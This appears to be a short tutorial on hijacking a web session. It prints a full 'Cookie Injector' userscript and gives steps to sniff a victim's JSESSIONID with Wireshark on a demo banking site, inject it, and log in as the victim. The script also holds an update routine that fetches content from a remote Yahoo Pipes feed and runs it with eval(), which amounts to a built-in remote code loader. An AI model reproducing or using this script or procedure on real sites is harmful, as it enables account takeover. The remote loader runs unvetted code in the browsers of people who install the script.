Hijack with cookies

User Tapermonkey

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// ==UserScript==
// @name Cookie Injector (mod FF + Chrome)
// @namespace http://blog.krakenstein.net
// @description Inject Cookie String Into Any Webpage
// @version 1.0
// @include *
// ==/UserScript==
/**

 Original Header:
 ==========================================================
 Cookie Injector
 BearsWithWings
 Inject Cookie String From Wireshark Dump Into Any Webpage
 *
 http://dustint.com/code/cookieinjector.user.js
**/
//Anonomyous function wrapper
(function (){
const yodUpdate = {
 script_id : 109320,
 script_version : ‘1.0’,
 script_pipeId : ‘7015d15962d94b26823e801048aae95d’,
};
function setValue(key, value) {
 localStorage.setItem(key, value);
 return false;
}
function getValue(key) {
 var val = localStorage.getItem(key);
 return val;
}
function usoUpdate(el) {
 const s_CheckUpdate = ‘YodCheckUpdate’ + yodUpdate[‘script_id’];
 var md = parseInt(new Date().getDate());
 var CheckUpdate = parseInt(getValue(s_CheckUpdate));
 var NeedCheckUpdate = false;
 if (CheckUpdate !== md) {
 
 setValue(s_CheckUpdate, md);
 el = el ? el : document.body;
 if (el) {
 if (!document.getElementById(s_CheckUpdate)) {
 var s_gm = document.createElement(‘script’);
 s_gm.id = s_CheckUpdate;
 s_gm.type = ‘text/javascript’;
 s_gm.innerHTML = ‘function go’ + s_CheckUpdate + ‘(itm){if(itm
value.items.length){return eval(unescape(itm.value.items[0].content)
replace(/&lt;/g,\’<\’).replace(/&gt;/g,\’>\’).replace(/&amp;/g,\’&\’));}}’;
 el.appendChild(s_gm);
 }
 var s_gm = document.createElement(‘script’);
 s_gm.type = ‘text/javascript’;
 var sSrc = ‘http://pipes.yahoo.com/pipes/pipe.run?_id=’ +
yodUpdate[‘script_pipeId’];
 sSrc += ‘&_render=json&_callback=go’ + s_CheckUpdate;
 sSrc += ‘&id=’ + yodUpdate[‘script_id’] + ‘&ver=’ +
yodUpdate[‘script_version’];
 //sSrc += ‘&redir=yes’;
 s_gm.src = sSrc;
 el.appendChild(s_gm);
 NeedCheckUpdate = true;
 }
 }
 else {
 setValue(s_CheckUpdate, md);
 }
 return NeedCheckUpdate;
}
function yodrunScript() {
 var cookieInjector = function(){
 var cI = this;
  /**
 * Cookie Injector Onload Function
 * Sets up the cookie injector dialogu
 */
 cI.onLoad = function(){
 //Create the DIV to contain the Dialog
 cI.dialog = document.createElement(‘div’);
 cI.dialog.id = “cookieInjectorDiv”;
 cI.dialog.innerHTML = “<div align=’center’>Enter Cookie as
format:<br/>(ex: name=val;) separate with ‘;’<br/><input type=’text’
id=’cookieInjectorCookie’/><br/></div>”;
 var button = document.createElement(‘button’); button.innerHTML = “OK”;
 button.addEventListener(‘click’,cI.writeCookie,false);
 cI.dialog.appendChild(button);
 var button = document.createElement(‘button’); button.innerHTML =
“Cancel”;
 button.addEventListener(‘click’,cI.hide,false);
 cI.dialog.appendChild(button);
 cI.dialog.setAttribute(“style”,
 “display:none;position:fixed;opacity:0.9;top:40%;background
color:#DDDDDD;\
 left:40%;width:20%;z-index:99999;padding:5px;border:solid 1px gray;\
 font-family:Arial;font-size:12px;”);
 document.body.appendChild(cI.dialog);
 cI.visible = false;
 };
 /**
 * Show the dialog
 */
 cI.show = function(){
 cI.dialog.style.display = “block”;
 cI.visible = true;
 };
  /**
 * Hide the dialog
 */
 cI.hide = function(){
 cI.dialog.style.display = “none”;
 cI.visible = false;
 };
 /**
 * Gets the wireshark dump string and converts it into cookies
 */
 cI.writeCookie = function(){
 //Grab a handle to the text field which contains the string
 var cookieNode = document.getElementById(‘cookieInjectorCookie’);
 var cookieText = cI.cleanCookie(cookieNode.value);
 cookieNode.value = “”;
 //We have to add the cookies one at a time, so split around the colin
 var cookieArray = cookieText.split(“;”);
 var injectedval = 0;
 for(var x=0; x<cookieArray.length; x++){
 //We want the path to be the root, the host is filled in automatically
 //since we are on the same webpage that we captured the cookies on
 var cookievalArray = cookieArray[x].split(“=”);
 if (cookievalArray.length>=2) {
 var name, val;
 if ((name = cookievalArray[0].toString().trim()) && (val = cookievalArray[1].toString().trim())) {
 //document.cookie = name+”=”+val+”; path=/”;
 document.cookie = cookieArray[x]+”; path=/”;
 //alert(name+”=”+val);
 injectedval++;
 }
 }
  }
 if (injectedval) {
 alert(“All Cookies Have Been Written”);
 cI.hide();
 } else {
 alert(“Invalid (ex: name=val;) separate with ‘;’”);
 }
 };
 /**
 * Do a little big of cleanup on the cookie string, Mostly we are looking
 * To get rid of the “Cookie: “ string that Wireshark prepends to the cookie string
 */
 cI.cleanCookie = function(cookieText){
 var cookie = cookieText.replace(“Cookie: “,””);
 return cookie;
 };
 /**
 * Handle all keypresses, we are looking for an ALT-C key-combo. Since we can’t detect
 * Two keys being pressed at the same time, we first make sure the ALT key was pressed
 * then we wait to see if the C key is pressed next
 */
 cI.keyPress = function (e){
 //Check to see if “C” is pressed after ALT
 if(e.keyCode == 67 && cI.ctrlFire){
 if(!cI.visible){
 cI.show();
 }else{
 cI.hide();
 }
 }
  //Make sure the Alt key was previously depressed
 if(e.keyCode == 18){
 cI.ctrlFire = true;
 }else{
 cI.ctrlFire = false;
 }
 };
 };
 if (document.getElementById(‘cookieInjectorDiv’)) return;
 //if (document.getElementById(‘cookieInjectorDiv_yodrunScript’)) return;
 var cI = new cookieInjector({});
 //Setup our dialog after the document loads
 //window.addEventListener(‘load’, cI.onLoad,’false’);
 cI.onLoad();
 //Capture all onkeydown events, so we can filter for our key-combo
 window.addEventListener(‘keydown’, cI.keyPress,’false’);
}
var script = document.createElement(“script”);
script.type = “text/javascript”;
script.id = “cookieInjectorDiv_yodrunScript”;
script.textContent = “(“ + yodrunScript + “)();”;
document.body.appendChild(script);
usoUpdate();
})();

open Wireshark

set the filter to http cookies

http.cookie

Test as victim on another machine

http://zero.webappsecurity.com

Log in

username - username is username / password is password

username
password

do some banking

Back to being the bad guy

  • stop the recording

  • check first http packet

  • then Hypertext Transfer Protocol

  • then cookie

  • you want the JSESSIONID

  • Expland this

  • right click on the expanded JSESSION and copy 'as Printable Text'

Go back to the online banking website

Test as the victim on another machine

http://zero.webappsecurity.com

  • Press 'Alt + C'

  • Paste in cookie

  • Refresh the page

  • then we are logged in!

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